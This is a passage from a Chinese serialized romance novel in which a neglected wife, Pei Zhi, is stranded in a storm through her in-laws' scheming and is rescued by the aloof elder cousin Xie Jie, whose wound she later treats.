谢观云在旁边说着今日之见闻,说到裴芷,她哼了一声:“母亲你不知道,那小裴氏心机可深了,骗我们说她不会骑马。等到大哥要教她,她才说会骑,还在我们面前耀武扬威骑了一圈。真是可恨!”
秦氏皱眉不语。
白玉桐柔弱道:“观云你别说了。裴姐姐挺厉害的,是我不自量力,心痒痒想试试,结果……”
她黯然垂眸:“我太笨了。免不了被人嘲笑,我真是丢了观南哥哥的脸……”
说着,又要垂泪。
秦氏皱眉:“好人家的女儿骑马做什么?那都是不正经的女人才在爷们面前炫耀的雕虫小技。”
“就是!我瞧着小裴氏一肚子坏水,是故意挤兑玉桐姐姐的。”谢观云添油加醋说着,“谁能晓得她藏得那么深?玉桐姐姐你以后离她远些,不然万一她以后想害你,你肯定着了她的道儿。”
秦氏听着,心中越发厌恶裴芷。
“小裴氏呢?”她突然发现这么久了,裴芷居然没回来,忍不住问,“是不是玩得忘了时辰,还在外面?”
下人们面面相觑,这才发现裴芷还没回府。
谢观云眼底掠过心虚,道:“母亲你喊她做什么?她坐马车慢些,也许才到城门。”
秦氏非常不悦:“她本该在小佛堂抄经为恒哥儿祈福,竟然跑出去玩乐。”
“等她回府,让人将她传过来,我定要狠狠罚她。”
谢观云听了,满心幸灾乐祸。她瞧了一眼白玉桐,示意计策得逞。
白玉桐却没瞧她,只是依在秦氏怀中。姿态竟比亲女儿还亲近。
正说话,谢观南来了。
他瞧见白玉桐在,微微诧异:“玉桐妹妹怎么不在绛雪阁?”
白玉桐眼里浮起雾气:“我等了观南哥哥许久,观南哥哥一直没回个音讯,我心里害怕,便来寻二夫人。”
秦氏心疼将她搂紧了些,道:“可怜见的小人儿,受了那么大的惊吓。”
“小裴氏呢?怎么不来给她道个歉?她这般蛇蝎心肠,定是她暗中给玉桐的马做了手脚,差点让她落马。”
第44章 绝境
谢观云在旁添油加醋:“母亲说的是。一会儿小裴氏来了,母亲不要心软。”
秦氏也存了要教训裴芷的念头,点了头。
到了晚膳时分,秦氏留了众人用饭。白玉桐与谢观云一左一右说着笑打算陪着她用膳,其乐融融。
恒哥儿也抱了出来。
谢观南两日没见儿子,乍一眼看去惊了:“恒哥儿怎么得这么憔悴?”
只见原本胖乎乎的孩子此时已经瘦了一大圈,眼睛都凹了进去。脸颊上两团通红,神情萎靡。
被乳母裹在厚厚的羊羔绒被里,一动不动。
秦氏叹气:“昨晚上说肚子疼,又吐了。”
她也十分头疼孙子的身体,这几日照顾得头晕眼花,满腹怨言。
她不明白,明明七日前恒哥儿能跑能跳,说话聪明伶俐的样子,怎么到了自己的手上就没一日好的。
先是肚疼了三日,又发了热。好不容易退热了后又吐了。简直没半刻安稳。
谢观南接过恒哥儿,掂了掂,心惊不已。六岁的恒哥儿竟轻飘飘的,还不知道脱了衣衫是怎么个瘦骨嶙峋。
他记得几日前恒哥儿还能一个头槌将裴芷撞进莲花池里。
现在别说跑跳了,就是走路都不稳。
谢观南面色难看,难道说只能裴芷才能照顾好自己的儿子?她一撒手不管,孩子就病恹恹的。
此时众人的心思都落在孩子身上,用晚膳根本没什么心思,匆匆用了就算完了。
白玉桐本以为能在用膳时说笑逗乐,将众人注意力引到自己身上。却没想到没人有心思听她说话,都只说着恒哥儿的病要怎么治。
她瞧着那病猫儿似的孩子,眼底掠过厌恶的冷光。
真不知裴芷是怎么心甘情愿养着这不属于她的孩子。
孩子什么的,她看一眼都打心眼里厌憎。
用过晚膳,白玉桐借口受了惊要回去歇息,便告辞离开。谢观云与她是一起的,也跟着一起离开。
秦氏看了看外面的天色,雷光电闪,轰隆隆的,雨水如水柱似的从屋檐直冲下来。
她皱眉:“怎么雨下得这么大?小裴氏回府了没?”
谢观南一愣,这才想起下午时就没见到裴芷。
他连忙差人去问。
下人冒雨出去一趟,回来道:“车夫回来了,说路上遇雨,耽搁久了点。”
下人偷了个懒只说了“车夫回来了”,却没说到底去小佛堂看裴芷在不在。
谢观南放了心,对秦氏道:“应该是路上遇见下雨,湿了鞋袜,所以才没来与母亲请罪。”
秦氏微怔:“要她来请什么罪?”
谢观南愣住:“母亲方才不是很生气,要她来谢罪吗?”
秦氏摆手,浑不在意:“那是给了玉桐面子才说的。毕竟她是客又惊了马,总要有个背锅的。总不能说是你照顾不周吧。”
谢观南无语了一会,这才明白秦氏并不是真正要怪罪裴芷。
又想起平时,家里但凡出点事,秦氏便拿来训诫裴芷。
他才醒悟,这三年到底是让裴芷受了许多说不清的委屈。
难怪她会如此心灰意冷。
心里升起一股陌生的歉意,很是心虚内疚。
谢观南道:“母亲以后不要这么做了。弄得小裴氏与我们离了心。难怪她心中对我有诸多怨言。”
“下人们又是最会看眼色的。上行下效,自然不会对她有尊重。”
秦氏只觉得稀奇:“你今日是怎么了?从前也不见你偏袒小裴氏,今日倒是为了她特地说了那么多话来。”
谢观南沉吟一会儿,将今日谢玠见他的事说了。
秦氏面色一紧,声音都变了调:“大爷的意思真是如此?”
谢观南也摸不透谢玠特地见他,又说了那番话真正是什么意思,但白家不可以再亲近是板上钉钉了。
秦氏紧张:“这么说,倒是我们不知宫里风向,平白招惹了白家让大爷不满了?”
谢观南点头:“是的。大爷的意思是白家是外人。”
“还说……”
秦氏急忙追问:“还说了什么?”
谢观南面色苍白:“还说,若是因为外人让家人受了委屈,定斩不饶。”
秦氏一哆嗦,手中的茶盏掉在了地上。
谢观南十分苦恼:“大爷到底是什么意思?难道说他要为小裴氏撑腰?”
秦氏一惊,想了半天断然摇头:“不可能。小裴氏是什么身份?大爷又是什么身份,她又没有见过他,大爷应该也没听过她。”
脑中想了好几遍,都想不出两人有何交集。
秦氏只能道:“总之,大爷都发话了。就疏远点白家人吧。等天气好了些,委婉让玉桐回吧。”
谢观南点头。
虽然从前他很喜欢白玉桐,但比起前途,还有在谢玠眼里的印象,他只会选择后者。
……
雨越下越大,如瓢泼似的。
浓厚的乌云中时不时有碗口粗大的银蛇闪过,紧接着天空中雷鸣若牛吼,声震天宇。
裴芷三人相扶着一瘸一拐走在泥地中。眼前黑乎乎,伸手不见五指。身边的草木随着风雨摇摆,时不时勾住她们的裙琚,像是恶鬼从泥地里伸出手来攀扯。
梅心摸了一把脸上的雨水,欲哭无泪:“少夫人,我们好像迷了路。”
“这下可怎么办?”
裴芷满心无奈。她没有辨认方位的能耐,只能顺着一条似乎是山路的路走到了现在。若是没下雨还能辨一下此路到底通不通,但如今雨水将路与山林模糊了边界了,也不知道现在走的路到底是不是路。
三人又冷又饿,身上衣衫贴着皮肤,冷飕飕,湿哒哒的,无处不难受。
裴芷只能道:“再往前走一会儿看看有没有人家,若是没有……”
“若没有,就找个避雨的地方。”
梅心与兰心知道目前也只能这么做。
三人默默往前走去,突然兰心一声尖叫,紧接着梅心也尖叫一声。
裴芷面色一白,急忙往下看去。
哪还有两个丫鬟的身影?而她们刚才站立的地方,是一处斜坡顶端。被浓密的草掩盖,所以两人才会失足滚落。
裴芷心也跟着跌到了谷底。
难道天意如此,非要将她置之死地不成?
倒不如跟着两个丫鬟一起,跳下去干净净地离开这肮脏的尘世……
双眼缓缓闭上,就要跃下。
突然身后有人又惊又喜,高喊:“大人,人在这儿!”
裴芷猛地回头,浓重的雨幕中,只见一辆比黑夜还漆黑的马车竟缓缓朝着这而来。
马车四角挂着四盏牛皮风灯,一摇一晃,在风雨中泛出昏黄温暖的光芒来。
第45章 同乘一马车
裴芷哆嗦着上了谢玠的马车时,还以为自己身在梦中。
马车外有侍卫在吆喝救人——如今天黑雨大,山坡又湿滑,非常不好救人。梅心与兰心应该是滚到山坡底,撞到了什么昏了过去,所以才没回声。
裴芷此时形容十分狼狈。头发湿漉漉贴在脸上,背上,身上不但有泥,还有沾上的杂草。
她尽量将自己缩成一团,不将身上泥污沾到车厢里雪白的狐裘毯上。
车厢里暖意十足,有淡淡的龙涎香弥漫过来,闻了之后惶惶不安的心渐渐平静下来。
她缓了许久,才抬起头来。
四目相对,裴芷呆愣一瞬,而后急促低头:“见过大爷。”
谢玠冷冷垂眸看着缩在车厢外沿一角的裴芷。
女人浑身湿透,单薄的衣衫贴着身上线条,勾勒出清瘦又窈窕的身材。
果然很瘦。瘦得青青白白的,好似瓷娃娃似的,脆弱却美丽。
因为寒冷她微微发抖,乌黑的长发披在脸上,落在肩膀上,长长厚重的发几乎包裹了她一半的身形。
令人疑心她便是雨夜里出没的花妖,有致命的诱惑。
许是谢玠的目光过于灼热,裴芷又悄悄抬头看了他一眼,然后乌黑的眼睫毛颤了颤,更低地低头。
“多谢大爷相救……”
谢玠收回目光,将身边的一件披风送到了她面前。
“披上吧。”他嗓音很淡,“这雨约莫要下一整夜。”
裴芷急忙披上。披风很厚实,还有淡淡的香气。蚀骨的寒意终于消失了,取而代之是陌生男人身上带来的暖意。
裴芷脸悄悄红了。
她蜷紧了手指,不知道该怎么与谢玠说话。比如自己是怎么被人丢在这里,怎么迷路到了树林中。
千言万语太多堵塞在喉咙处,涩涩的,任由哪个字说出来都想哭。
谢玠似乎不愿说话,只垂眸养神。
过了一会儿,奉戍过来,轻声禀报了救人的安排。裴芷努力打起精神听,却没听明白。
她忍不住靠了过来。
“奉戍大人……”
还没开口就一阵天旋地转。下一刻,整个人控制不住往前扑了过去。头顶传来一声轻哼,裴芷茫然抬头,发现一张妖冶俊魅的脸出现在上方。
男人看着她,薄唇紧抿,面色极其铁青。
裴芷张口想解释,但胸中一口气已经泄了出去。眼前黑暗来袭,这下便真正昏倒了。
谢玠垂眸看着倒在怀里湿漉漉的女人,半天不语。
她晕便晕了,姿势也是有趣——整个人扑倒在他膝上,软绵绵地伏着。倒像是故意投怀送抱似的。
修长的手指慢慢伸出去,轻触她毫无知觉的面上。
谢玠蹙眉,手指用力戳了戳,冷冷道:“起来!”
女人没有动弹,玉白的面颊多了两点红。她抽了抽,一弯细眉皱了起来似乎委屈得要哭。
谢玠停了手指,下一刻,手指夹住了粉白的耳廓,毫无怜香惜玉往上拎了一把。
“别晕在我这。”他冷冷驱赶。
还是没有动弹,指尖只有冰冷的温度。看样子她是冷极了又害怕才会突然昏倒。
谢玠收了手,打算任她自生自灭去。
忽的,膝上的袍子被拽紧。他看去。女人似乎做了惊恐的噩梦紧紧揪住他的袍子,唇无意识地蠕动,像是在梦里都极不安稳。
谢玠蹙眉不语。
女人揪着他的袍子就算了,手指无意识抠着他腿上的肉,圆又细的指甲一下一下,又麻又痒的触感直蹿入心底。
黑曜石般深邃的眼中终于沾染了些许的怒色。
谢玠一探手将她拎起就要往旁边丢去,却不料轻薄的衣料“撕拉”一声,她的领口被扯开了一个口子。露出里面雪样的小片肌肤。
手僵在半空中,一时间不知应该把人放下,还是替她遮盖这一处。
奉戍又来了,一边说一边擦雨水:“大人,坡很深,天又黑实在是不好找。约莫要找一个晚上……”
他往车厢里瞧:“少夫人呢?我与她说一声……”
他刚探头,忽地谢玠一挥手将披风扯下,包住毫无知觉的女人。淡淡道:“那就留一队人继续救人。我带她回庄子上。”
奉戍视线被挡得严严实实,也不知道车里发生了什么事,于是自去忙了。
马车动了起来,在雨幕中缓缓离开了树林。
……
裴芷再次醒来的时人已经在马车中,身子依旧湿漉漉的,但却不冷了。身上依旧盖着昏过去之前的那条男子披风。
鼻间是若有若无的清洌香气。
她缓缓回头,只能瞧见身边是一条男子修长的大腿。再往上,只见一位年轻的男子正靠在车窗边闭目养神。
车子一晃一晃的,外面的风灯光晕照在男子的面上,如魔似魅。鬓若刀裁,鼻似山峰般挺峻。
面容雪白,近乎妖冶。他身上的清冷宛若崖上雪,风中雪莲。通体的气质亦是冷得令人无法靠近。
是谢玠。
竟然真是谢玠。
一怔后,她想起了自己身在何处。
原来自己并不是在做梦,是真切得了救,又昏倒在谢玠的马车里。
想通这点,她急忙想起身,却不想一只手将她牢牢按住。
“别动。”男人低沉的嗓音传来,“好好躺着。”
裴芷不敢动,只能缩着身子躺在柔软的狐裘毯子上。身上依旧湿漉漉的难受,但她明白眼下不是更衣换衣衫的时候。
“吃了它。”
一只修长的手递来一丸药,依旧异常冷淡,“再睡一会儿就到了。”
裴芷心中有千万个疑问想问,但还是乖乖拿了药丸吃了。药丸辛辣,吞下去后辣得她眼里泛起水光。
裴芷只能低声问:“有水吗?”
谢玠看了她一眼,在腰间解了个什么东西递给她。
裴芷拿在手中,沉甸甸的,是个铜制的水壶。
哦,不是,是酒壶。
打开一股浓烈的酒气扑来,她忍不住轻咳两声。
“大爷,这是酒。”她小声问,“有没有水?”
谢玠头也不抬,垂着眸看着她,冷冷道:“饮酒驱寒。你不懂?”
裴芷愣了片刻,慢慢将酒壶凑近唇边喝了一口。
辛辣的酒水入喉,呛得她连连咳嗽。
“再喝。”冷冰冰的话没有半点温度。
裴芷擦着唇,摇头:“我不会喝酒……我没事的,大爷放心。”
“不喝就将你丢下车。”男人的眼眸深邃冰冷,像是深渊古井似的,不带半点波澜。
“是死,是活。两样自己挑一样。”
第46章 沈家与裴家的过节
裴芷愣住,呆呆抬眼瞧着面前的男人。
谢玠垂眸,幽暗的黑眸盯着她的脸,直到裴芷拿起铜壶又喝了一小口。酒水入喉,在初时的辛辣过后,身体深处涌出了暖意。
在四肢百骸游走,身上的湿冷也瞬间好了些,不再那么难受了。
裴芷喝了一口,想放下铜壶却见谢玠还在盯着自己。
不得不硬着头皮再饮了几口,直到酒气上涌,她这才小声请求道:“喝不下了。”
谢玠移开眸光,继续闭目养神。
裴芷见他不再盯着自己,心里蓦然松了一大口气。
不怀疑刚才要是自己矫情不喝,恐怕他是真的能把她丢下马车,然后扬长而去。
在他眼里,看不到半点怜香惜玉,也看不到半点耐心。
真是个古怪又严肃的男人。
她心里苦笑,
裴芷靠在车厢上,酒意令心中的思绪发散,似想了很多又似乎什么都没想。甚至都懒得想为什么谢玠会突然出现在这里。
他不问,她便没有倾诉的想法。
一路上两人出奇沉默。
终于,马车停了下来。裴芷恍然回神,掀了厚重的车帘往外看了一眼,惊讶。
“这是哪儿?”
谢玠冷淡道:“我的别苑庄子。”
裴芷怔愣片刻,外面已有侍卫请谢玠下马车。马夫提来下马凳。
谢玠看了裴芷一眼,裴芷连忙提起裙摆,准备先下。越过谢玠时,看见如刀削冷酷的侧颜,呼吸忍不住一滞。
谢玠太冷了,看一眼都觉得不寒而栗。也不知他这般天之骄子,怎么会养成这生人勿近的冷性子。
她不敢再看,低了头掀开车帘下来了。
奉戍策马前来,见她站在马车边,便说起了梅心与兰心已经找到,只是两丫鬟都受了伤,又受了惊。赶来的话会稍微晚点,让她不要担心云云。
裴芷松了一口气:“没事就好。多谢奉戍大人。”
奉戍道:“应该要多谢大人,若不是……”
他猛地住了口,讪讪站在一旁。
裴芷回头看去,谢玠不知什么时候站在马车旁,眉眼冷淡地瞧着她与奉戍说话。
约莫是怠慢了他,以至于脸色不好。
裴芷连忙上前福身道谢。
谢玠淡淡道:“不必谢。我只是顺路出城公干罢了。”
裴芷心中有疑惑,但看他面色恹恹的,不像是愿意与她说话的样子,当下不敢多问他要办什么差使。
裴芷道:“大爷的伤……”
谢玠正往庄子大门走,闻言脚步一顿,回头撩眼看了她一眼。
他似笑非笑:“倒是劳烦裴大夫现在才想起来,真是不太容易。”
裴芷:“……”
谢玠说完,由下人点着灯,头也不回地慢慢走进庄子中。
他身量颀长,身披水貂毛长披风。皮毛水光油滑,在昏黄的宫灯下流转暗藏艳丽的光泽,宛若在他身边圈住了一圈奇异的光晕。
他所过之处,精美奢华的宫灯依次点亮。原本寂寂无名的庄子渐渐泛出不一样的光彩来。
宛若黑暗中突然出现的瑶台仙居,煞是好看。
先前没注意到这庄子,如今看着竟比谢府二房的府邸好像更气派点。
谢氏几百年门阀底蕴,只看冰山一角,就觉得恐怖如斯。
裴芷目送他进去,对奉戍苦笑:“不知怎么的就得罪了大爷。让大爷生了好大的气。”
奉戍抓了抓脑袋:“大人自从遇刺后就心情不好。”
裴芷奇怪:“是因为伤势吗?”
谢玠看着不像是因为受了点伤就受打击的人。他没那么脆弱。
奉戍摇头:“不是,大人可能是因为别的事恼怒吧。”
他郑重劝告:“大人言语会有点刺耳,二少夫人多担当点。”
“我十五岁时就跟着大人身边办差,熟悉大人脾气。大人虽言语不多,但并不会无缘无故责罚旁人。这点二少夫人放心。”
裴芷点头。
只要弄清谢玠不是因为她而生气就放心一半。病人嘛,生病时脾气自然是古怪点。她精研医术时也会揣摩病人的心态,所以觉得正常。
裴芷问起自己夜不归宿,如何与谢府交代。
奉戍冷笑:“二少夫人不用担心,我已派人回去说了一声。他们不敢寻你的晦气。”
“若是他们再寻你晦气,与我说一声便是。”
他不屑鄙夷的样子甚是明显。
裴芷放了心,正好此时庄里丫鬟婆子鱼贯出来,将她领进了庄中歇息。
……
谢观南在书房中辗转反侧,怎么都睡不着。
满脑子都是裴芷一气呵成上马,然后策马飞驰的英姿。明明穿的都是半旧不新的裙子,策马的样子却洒脱又飒爽,简直不像是平日唯唯诺诺的样子。
反观白玉桐一身利落骑装,各种骑马物件满满当当的,却差点被马掀翻在地上。
睡不着,谢观南索性披衣起身。青书见房中有动静,进来问他是否要茶水。
谢观南摇头:“我去清心苑看看。”
青书愣住:“现在夜深了,二爷去清心苑做什么?”
谢观南想说要去看望裴芷,忽地又觉难为情。
他道:“白日里想到一件事,没问清楚放心不下。”
青书疑惑:“二爷要去问少夫人吗?她现在应该睡下了。”
谢观南含糊道:“反正也睡不着,打个灯散散过去就行。不会吵着她。若是她睡着了,我再回来睡。”
青书仔细看他的脸色,忽然道:“二爷是不是瞧见了沈家的三公子,所以心里不舒服?”
谢观南皱眉:“沈家哪个三公子?”
青书见他这神态,便有些后悔自己嘴巴快。
但话都说出口了,再遮遮掩掩反而不好。他道:“就是前定远将军府家中的三公子,沈晏。”
谢观南想了想,眸色一闪:“你说的沈家?就是八年前西北古尔关战败的那位沈老将军?他不是已经战死了吗?沈家大郎与二郎好像也随军战死了,好生凄惨的一家人。”
青书点头:“是,今日下午瞧见了沈家三公子与沈家小姐出来游玩了。”
谢观南慢慢坐回椅上,半天不语,也不提起去清心苑了。
他想起了沈家与裴家的过节了。说起来这过节还与他有密不可分的关系。
青书道:“二爷要去问少夫人关于沈三公子的事,小的觉得最好别问了。当初,裴家与沈家退婚时,少夫人还没及笄呢。”
“白天遇见,也没打招呼。二少夫人约莫都没瞧见沈公子。”
谢观南看了他一眼:“你倒是眼尖得很。”
青书道:“不是小的多管闲事,是沈小姐抓着小的说了一些难听的话,让我们以后见了沈家人就离远点,莫要沾惹。”
“沈小姐说沈家与裴家势不两立,与我们谢家也没什么好说的。总之,沈家小姐的脾气挺大,说了一些气话。”
他轻嘲:“其实沈小姐这般耀武扬威,不过是沈公子在西北镇北侯麾下立了不小的战功,沈家又抖起来了,所以特地过来扬眉吐气的。”
第47章 才想起她是他的妻
谢观南冷冷哼了一声。
听着昔日有点恩怨的人家又起复了,总是心里不太舒坦的。特别是想起裴芷与沈家三公子沈晏从小定亲,心里越发不舒坦。
谢观南:“掌灯吧。我去清心苑。”
青书不敢再说。
先前说起沈家的事,是因为沈小姐特地来面前说气话。青书寻思了一个下午,觉得得找个时机告诉谢观南。
现如今都说了,再说就怕谢观南因此对裴芷有心结。
毕竟裴芷全无过错,又平日里待下人们和善,青书也不愿她与谢观南闹到不可收拾的地步。
青书收拾东西,打了灯笼领着谢观南往清心苑去。
到了大门处,果然黑漆漆的,清冷得可怕。
谢观南心中有了退意,让青书去叫人。
守门的见谢观南来了,揉了揉眼,诧异道:“二爷怎么这个时候才回来?”
谢观南边走边进去,随口问:“少夫人呢?睡了吧?”
守门的急忙道:“二爷,小的去了前门几次问了,少夫人至今没回府呢。”
“啪嗒”一声,青书手中的灯笼掉在地上。
谢观南面色冷凝:“什么?!少夫人至今没回府?”
守门的急道:“是啊。小的还去找了车夫,车夫也推说不知,只说将马车送到大门处,别的都不知。”
谢观南面色发白。青书知道事情大了,赶紧唤人去找那车夫。
过了一盏茶功夫,去找的下人回来报那赶马车的车夫卷了铺盖跑了。
谢观南看着被吵醒一院子的下人,咬牙冷声道:“怎么少夫人没回府到现在都没报上来?”
管事嬷嬷哆哆嗦嗦上前:“老奴去北正院报了几次,被赶了回来。”
守门的也说自己寻了前面门房的好几次,也都推说不知。还有清心苑中的丫鬟们更是拿不准主意。
谢观南又气又急,只能派人出去寻人。
但这大晚上的,城门已关,还能去哪儿寻人?
若不是人没回城,就是被丢在荒郊野地外了。
一想起裴芷主仆三人都是弱质女流,两个丫鬟都是十几岁的半大小姑娘,谢观南便觉得眼前一阵阵发黑。
几乎可以推断,明日也许就有流言散播开去,说谢府女眷滞留城外遭了难……
清心苑的动静惊动了北正院。
秦氏一听这消息,差点昏厥过去。许嬷嬷赶紧捏了她的人中,又灌了热茶,秦氏才幽幽清醒。
她一瞧见谢观南,就骂道:“好好的非要带她出去。如今可好了,人困在城外到现在都不知在哪儿……”
“都是女流之辈又在外面过了一夜……我的天啊,家门不幸……”
谢观南面色铁青,心中后悔不及。
若是知道会出事,打死他也不会让裴芷跟着去。现如今人不知去向,别说给裴家交代,就是自己都不知道该怎么办。
谢观南犹豫:“要不现在去报官?”
秦氏骂道:“你疯了不成?报官岂不是让人知道我们谢家丢了女眷?说出去被人戳脊梁骨,说如此粗心,竟把人丢在城外。”
谢观南硬着头皮道:“也许官府看在是谢家出事,会暗地帮忙寻找,不会声张。”
秦氏:“人多口杂。怎么能指望官府那群官差守口如瓶?”
这也不行,那也不行。
谢观南道:“要不去求求大爷?他帮圣上办过差,听说与锦衣卫那边很熟。”
秦氏摸着心口,面如死灰:“大爷昨儿下午才见过你,你现如今又去寻他,让他心里怎么想?”
“连自己的妻子都没照看好,他指不定怎么笑话你呢。”
谢观南猛地一震,突然想起了谢玠看他的眼神。
他心跳如擂鼓:难道那时候谢玠已经知道了有人要对裴芷动手脚?不然他为何要提点他不可因为外人让家人受委屈?
混沌的脑子好像将前因后果都连起来了。
只可恨自己竟然如此迟钝,到现在才想起裴芷来。
在一瞬,谢观南突然觉得很惭愧,同时也觉得很荒谬。
裴芷是他的妻,可为什么连一位没怎么见过的外人都能关注到他的妻,而他身为丈夫,竟然如此忽视?
冷汗从额上冒了出来,无数个可怕的阴谋猜测从心里冒了出来。
他甚至想到了是不是白玉桐暗中使坏,想要谢家出丑。
可一想到对自己情深义重的玉桐妹妹是这样的人,又令他难以接受。
秦氏派出去的人回来了,来人道:“大爷的人有过来知会一声,说正巧大爷出城办事,半路上遇见了二少夫人。”
“大爷急着办差,便让人将二少夫人安顿在城郊别苑中。等养两日再回府。”
一屋子的人都松了一大口气。
谢观南连忙让人拿了银子打赏传话的人。
秦氏暗自心中念佛:“幸好遇见大爷,不然都不知道该怎么办。”
谢观南松了口气:“小裴氏也是个有福气的人。”
他心里打定主意,等裴芷回府定要好生安抚安抚,不可以再严厉斥责她。她是他的妻,这是改变不了的事实。
他还是愿意与她好好过日子的。
只要她和从前一样温顺贤惠,他会考虑说通母亲,不要太过严厉拘束她了。给她一个孩子,让她安安心心待在谢府,相夫教子,岂不是很好?
……
裴芷在丫鬟的伺候下沐浴更衣,换了一身干净的衣衫,还喝了热腾腾的姜汤。
她问过了,这是谢玠众多别苑之一。
还有几处很大的庄子,离京城更远些,在西山那边还有一处很大的温泉山庄。到了冬日,谢玠偶尔会携亲眷去过冬。
这处别苑只因为临着河,往南有几百亩良田,所以买下来。
平日里谢玠极少前来。
不过就算少来,但一应东西都日常备着。丫鬟婆子也比照着其他各处庄子配着的,绝不会少了人手。
裴芷拢着雪狐做的长袄,脚踩在鎏金兽纹暖笼上。身上的寒意被驱散,困意也涌了上来。
她心中挂着事,强撑着迟迟不肯去睡。
丫鬟见她眉心笼着阴云,安慰道:“二少夫人不要担心,奴婢听侍卫大哥说了,两位姑娘都救起来了。只是因为伤了腿,得等马车所以才迟点到。”
另一位丫鬟也道:“庄子上也有大夫的。等两位姐姐来了,大夫就能给她们瞧伤,不碍事的。”
裴芷放了心,对她们展颜道谢。
她本就生得极美,只是平日穿着朴素又低眉顺眼,不甚引人注意罢了。
如今洗得干干净净的,眉眼如画,身上裹了月白色锦缎长袄,肩上又披了一条水蓝色蜀锦长衣。
瓜子似的小脸笼在毛茸茸狐领子里,美得不似真人,又灵气十足。
两个丫鬟看得都呆了。
第48章 白日看伤
两个丫鬟又陪着裴芷说了许多话,直到前面有了消息。说梅心与兰心救回来了,兰心没事,梅心脚崴得严重,手脚均有擦伤,又骑不了马,是以耽搁到了现在。
裴芷放了心,披衣去看望。
两个丫鬟都在丫鬟住的下人房,另辟了一间干净的。她们见了裴芷,嚎啕大哭,只说差点见不到了。
裴芷仔细查看她们伤势,见并不严重,只是流的血多了看起来吓人。
幸好庄上伤药齐全,又有人手帮忙,处理起来十分快。
梅心与兰心惊吓了一晚上早就累极了,上完药就睡着了。
裴芷又仔细为她们把脉后,确认没有暗伤才放心离去。
庄子里丫鬟婆子见她亲力亲为,又不辞辛苦,都纷纷心中感叹。裴芷说话轻声细语,温和有礼,身上没有半点主人家的傲慢与清高。
实在是难得一见。
第二日一早,裴芷醒了。
丫鬟前来伺候她更衣梳洗,无一不妥帖细致,看得出是先前被规训过的。梳洗罢,丫鬟捧来两套簇新的衣衫。
一套张扬热烈,茜红色缂丝百褶长裙,上面是精美的绣工,还缀着米粒大小的珍珠。另一套清新淡雅,月牙白杭绸面内里夹了一层貂毛做成的夹袄长儒裙,裙面上绣了梨花与飞燕,十分灵动。
两套衣衫还各自搭配了两套头面首饰,一套是红宝,一套是白玉。成色极好,做工也极尽精致。隐约看出是宫里的手艺。
裴芷一愣,道:“我昨儿的衣裙呢?”
丫鬟笑道:“二少夫人昨儿的衣裙被勾破了好几处,浆洗了后让绣娘帮忙修补,还没弄好呢。”
裴芷犹豫怎么婉拒。
丫鬟笑道:“二少夫人尽管收下吧。大爷不喜欢被曲解了好意。”
“再说若是大爷知道我们照顾不周,以后可是要罚的。”
裴芷只能点头,挑了那套颜色清新淡雅的衣衫换上。
她本就气质温婉,着素色衣衫十分相称,又因精心打扮,越发显得气质清冷若仙,翩然出尘。
两个丫鬟不住赞叹,将裴芷说得面色绯红。
用完早膳,裴芷想起一事,轻声询问谢玠可有差遣。
丫鬟摇头。裴芷想起昨日没有为谢玠把脉换药,心下不安。匆匆用过早膳便让人带着她去了谢玠歇息的院中。
名义上是道谢,实则是探伤。
奉戍见她来了,道:“大人一早就出去了。”
裴芷愣住,旋即道:“怎么那么不爱惜身体?伤口还没好全。”
“还有那毒还没全解,走动的多了,毒血运行更快对身子不利。”
奉戍愕然,许是没想到谢玠还得静养,一时后悔不迭。不过也不怪他疏忽,只因平时谢玠精力旺盛,为了办差几日几夜没睡都是常事。
又因谢玠自幼有名师教授武艺,比一般人对伤更耐受,寻常刀剑伤对他来说都是不打紧的。包扎好了,下一刻又去忙碌是常态。
这一次中毒受伤,在家中修养几日对谢玠来说已是极限。
是以身边的人都不觉得他毒伤未解就出去打猎,是什么天大的事。
奉戍连忙差人去寻,又对裴芷道:“二少夫人且先进去等候。我让大人快些回来。”
说完匆匆去寻人了。
裴芷由一位小丫鬟领着进了谢玠下榻的院落。
这处院落很大,四周不种花树,只有几处都是松柏等不怕寒冷的树。树冠高耸,郁郁葱葱,在早春的清晨显得十分肃穆又雅致。
小丫鬟领着裴芷到了花厅中,比画了几下,裴芷才发现她竟是聋哑之人。
小丫鬟比画了茶水果点,又指了指上首的太师椅,示意裴芷可以边喝茶边等待。
裴芷点了点头。
过了一会儿,茶水果点奉上。裴芷无心用茶,只等着谢玠。又想着见了面如何向他道谢。
等了约莫半个时辰,谢玠回来了。
他着一身绀青色锦面绣黄金祥云骑装,脚上蹬着一双黑色牛皮长靴,长靴上泥土点点,应该是骑马狩猎沾染上的。
他身材本就匀称颀长,穿上骑装更显得四肢修长有力,若不是面色比平日苍白些,是看不出身上还有伤在身。
裴芷微微一愣神,等看清楚谢玠打扮后,眉心便蹙了起来。
她屈身福了福:“见过大爷。”
谢玠抬步进来,略微一撩眼便看见屋中一位淡雅精致的美人坐着等候。她款款福身,屋里的光亮仿佛都聚在她一人身上。
湿冷的空气中似乎多了几缕带着暖意的馨香。
谢玠淡淡“嗯”了一声,坐在了上首。
奉戍跟着进来,与裴芷说起了话。
裴芷看了一眼正在饮茶的谢玠,轻声问起了他的伤情。
奉戍说了后,又问她要解毒方子。裴芷从袖中拿出第三副解毒方子,又道:“还需我亲自诊脉与看伤口。不然不知方子药性。”
谢玠看了她一眼,挥手让人准备。
看伤就必须进内屋,又是要一番脱衣解带。裴芷站在内屋门外,静等谢玠脱下外衣整理妥当才进去。
一进屋,她的脸便红了。
谢玠坐在软榻上,外衣放在一旁,只着了一件雪白中衣,中衣敞着,露出一片结实匀称的胸膛。
他解了发冠,墨发如缎,一束黑发从头顶垂到了肩头。更显得面若美玉,眉眼似霜雪雕琢般冰冷精致。
他见裴芷犹豫,道:“为何还不进来?”
裴芷回过神,垂着头款款走到了谢玠面前。
她尽量不往他脸上瞧,伸手去撩谢玠的上衣。素白的手微微颤抖着去掀他的衣服,内心却像极了千万匹马在奔腾呼啸。
也不怪她,前两次看伤都在夜晚,就算再不自在也能靠着黑暗遮掩几分。
可现在是白日,不用点灯就能瞧得一清二楚。
她从没有这么清楚看过男人的身子,看的伤口还在腰腹间,接近下腹部,稍微往下拉扯衣服就能……
裴芷不敢再想,深吸一口气全神贯注为谢玠解开绷带查看伤口。
只是个伤患,没什么稀奇的。她勉强说服自己,不然只怕要捂着脸跑得远远的。
谢玠垂眸看着面前的裴芷。
女人低眉顺眼半蹲在身前为他看伤。天光透过窗棂糊着的窗纸,柔和了许多。光照在她过于素净雪白的面上,眉眼如画,唇红齿白,很是养眼。
她身上有一股与生俱来的沉静气息,五官纤柔美丽却不柔弱。
看人的时候眼神安安静静的,目光不张扬也不浅薄,时常带着一丝谨慎与深思。
